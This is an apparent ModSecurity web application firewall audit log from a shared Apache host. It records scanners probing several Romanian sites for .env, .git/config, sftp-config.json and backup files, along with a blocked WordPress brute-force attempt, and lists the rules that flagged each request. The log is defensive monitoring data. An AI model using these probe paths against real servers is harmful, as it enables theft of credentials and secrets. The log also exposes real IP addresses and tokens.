Content-Type: text/html; charset=UTF-8

--c9b9c60f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/uat/.env"] [unique_id "aqYMhmM7dE9KgIIOpQheBQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267078755141 136978 (- - -)
Stopwatch2: 1789267078755141 136978; combined=4565, p1=259, p2=4239, p3=0, p4=0, p5=66, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c9b9c60f-Z--

--162b0c7a-A--
[13/Sep/2026:05:38:00.691265 +0300] aqYMiEwu1RSkptiiNIXt0wAAAIQ 34.175.231.24 47680 127.0.0.1 7081
--162b0c7a-B--
GET /stage/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--162b0c7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--162b0c7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/stage/.env"] [unique_id "aqYMiEwu1RSkptiiNIXt0wAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267080574828 116495 (- - -)
Stopwatch2: 1789267080574828 116495; combined=4847, p1=225, p2=4547, p3=0, p4=0, p5=75, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--162b0c7a-Z--

--1f52d37a-A--
[13/Sep/2026:05:38:03.083028 +0300] aqYMimM7dE9KgIIOpQheBgAAANY 34.175.231.24 47692 127.0.0.1 7081
--1f52d37a-B--
GET /development/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--1f52d37a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1f52d37a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/development/.env"] [unique_id "aqYMimM7dE9KgIIOpQheBgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267082951344 131755 (- - -)
Stopwatch2: 1789267082951344 131755; combined=5041, p1=432, p2=4542, p3=0, p4=0, p5=66, sr=191, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1f52d37a-Z--

--ec692d5a-A--
[13/Sep/2026:05:38:05.185352 +0300] aqYMjUwu1RSkptiiNIXt1AAAAIs 34.175.231.24 47708 127.0.0.1 7081
--ec692d5a-B--
GET /production/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--ec692d5a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ec692d5a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/production/.env"] [unique_id "aqYMjUwu1RSkptiiNIXt1AAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267085063655 121763 (- - -)
Stopwatch2: 1789267085063655 121763; combined=4660, p1=388, p2=4196, p3=0, p4=0, p5=76, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ec692d5a-Z--

--84f1dd00-A--
[13/Sep/2026:05:38:07.405715 +0300] aqYMj2M7dE9KgIIOpQheBwAAAMI 34.175.231.24 42518 127.0.0.1 7081
--84f1dd00-B--
GET /config/app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--84f1dd00-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--84f1dd00-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/config/app/.env"] [unique_id "aqYMj2M7dE9KgIIOpQheBwAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267087283983 121810 (- - -)
Stopwatch2: 1789267087283983 121810; combined=4783, p1=275, p2=4411, p3=0, p4=0, p5=97, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84f1dd00-Z--

--d23aed6b-A--
[13/Sep/2026:05:39:31.468235 +0300] aqYM4ysVWymXUono-eRQwQAAAAA 34.175.231.24 53184 127.0.0.1 7081
--d23aed6b-B--
GET /phpinfo.php~ HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d23aed6b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:phpinfo.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:phpinfo.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/phpinfo.php~"] [unique_id "aqYM4ysVWymXUono-eRQwQAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267171346371 121920 (- - -)
Stopwatch2: 1789267171346371 121920; combined=4827, p1=276, p2=4467, p3=0, p4=0, p5=83, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d23aed6b-Z--

--9805e620-A--
[13/Sep/2026:05:40:35.991219 +0300] aqYNI2M7dE9KgIIOpQheOwAAAME 66.249.69.192 42432 127.0.0.1 7081
--9805e620-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=2UXEaV83SDVzSU43YVVtT0MlMkZPcW1zNmhtTDBZblBRM096NXhyJTJCS1NDNlNoN01wMXBCaWZWYU1MdElhWXVqb2UlMkZSb0FMZnl5a3NYUkhPVjFyMlNHT014azdMMjhCdXpyMVhpd2YxZ29XTURhUlFFUWtneTZnVmhqVXolMkZMQkxTYjRZUWFlY3Y1VE4zUjh6WEo2eTZCdnVYb3JhQSUzRCUzRA
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=kacang99
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br

--9805e620-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 52e5c234-b4b0-43fb-84ac-c357c4aca38c
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9805e620-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267235834036 157262 (- - -)
Stopwatch2: 1789267235834036 157262; combined=5351, p1=302, p2=4795, p3=0, p4=0, p5=254, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--9805e620-Z--

--392ee870-A--
[13/Sep/2026:05:52:11.235159 +0300] aqYP20wu1RSkptiiNIXuFAAAAJM 20.14.73.46 57918 127.0.0.1 7081
--392ee870-B--
GET /owa/auth/logon.aspx HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 20.14.73.46
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

--392ee870-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--392ee870-E--

--392ee870-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: redirect-handler
Stopwatch: 1789267931224102 11129 (- - -)
Stopwatch2: 1789267931224102 11129; combined=5482, p1=1277, p2=3775, p3=66, p4=7, p5=357, sr=549, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--392ee870-Z--

--6a24c117-A--
[13/Sep/2026:05:52:20.528423 +0300] aqYP5Ewu1RSkptiiNIXuFwAAAJg 109.175.96.16 49762 127.0.0.1 7081
--6a24c117-B--
POST /wp-login.php HTTP/1.1
Host: ajutam.ro
X-Real-IP: 109.175.96.16
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
Pragma: no-cache
Origin: https://ajutam.ro
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ajutam.ro/wp-login.php
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ru-RU,ru;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_test_cookie=WP+Cookie+check
Priority: u=0, i
Upgrade-Insecure-Requests: 1

--6a24c117-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html

--6a24c117-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:05-52.109.175.96.16"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789267940336165 192366 (- - -)
Stopwatch2: 1789267940336165 192366; combined=189778, p1=375, p2=188638, p3=0, p4=0, p5=558, sr=121, sw=207, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a24c117-Z--

--cc42b154-A--
[13/Sep/2026:06:06:31.372344 +0300] aqYTN2M7dE9KgIIOpQhe6QAAANU 89.39.7.190 45088 127.0.0.1 7081
--cc42b154-B--
POST /wp-cron.php?doing_wp_cron=1789268791.2901599407196044921875 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 89.39.7.190
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 0
User-Agent: WordPress/6.9.7; https://ajutam.ro
Accept: */*
Accept-Encoding: deflate, gzip, br
Content-Type: application/x-www-form-urlencoded

--cc42b154-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Length: 0
Content-Type: text/html; charset=UTF-8

--cc42b154-E--

--cc42b154-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:doing_wp_cron=1789268791.2901599407196044921875& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=4324, p1=296, p2=3779, p3=236, p4=13, p5=0, sr=133, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=4324, p1=296, p2=3779, p3=236, p4=13, p5=0, sr=133, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/wp-cron.php"] [unique_id "aqYTN2M7dE9KgIIOpQhe6QAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789268791346752 25652 (- - -)
Stopwatch2: 1789268791346752 25652; combined=11356, p1=296, p2=3779, p3=236, p4=13, p5=7032, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cc42b154-Z--

--6ec53810-A--
[13/Sep/2026:06:06:53.519642 +0300] aqYTTWM7dE9KgIIOpQhe6wAAANY 66.249.69.192 54460 127.0.0.1 7081
--6ec53810-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=2UXEaV83SDVzSU43YVVtT0MlMkZPcW1zNmhtTDBZblBRM096NXhyJTJCS1NDNlNoN01wMXBCaWZWYU1MdElhWXVqb2UlMkZSb0FMZnl5a3NYUkhPVjFyMlNHT014azdMMjhCdXpyMVhpd2YxZ29XTURhUlFFUWtneTZnVmhqVXolMkZMQkxTYjRZUWFlY3Y1VE4zUjh6WEo2eTZCdnVYb3JhQSUzRCUzRA
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=togelhimalaya4d
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br

--6ec53810-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 4ed954cf-1be7-4fa9-91a6-3304a75be0ba
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6ec53810-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789268813346385 173333 (- - -)
Stopwatch2: 1789268813346385 173333; combined=6483, p1=396, p2=5737, p3=0, p4=0, p5=349, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--6ec53810-Z--

--fabeb509-A--
[13/Sep/2026:06:18:21.248270 +0300] aqYV-WM7dE9KgIIOpQhfQAAAAMk 172.86.81.83 49604 127.0.0.1 7081
--fabeb509-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--fabeb509-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fabeb509-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYV-WM7dE9KgIIOpQhfQAAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269501035597 212726 (- - -)
Stopwatch2: 1789269501035597 212726; combined=39348, p1=1001, p2=38259, p3=0, p4=0, p5=88, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fabeb509-Z--

--6e199037-A--
[13/Sep/2026:06:23:19.084008 +0300] aqYXJjTJ6xTvcJoem7f12gAAAEs 185.55.243.172 49236 127.0.0.1 7081
--6e199037-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--6e199037-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6e199037-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJjTJ6xTvcJoem7f12gAAAEs"]
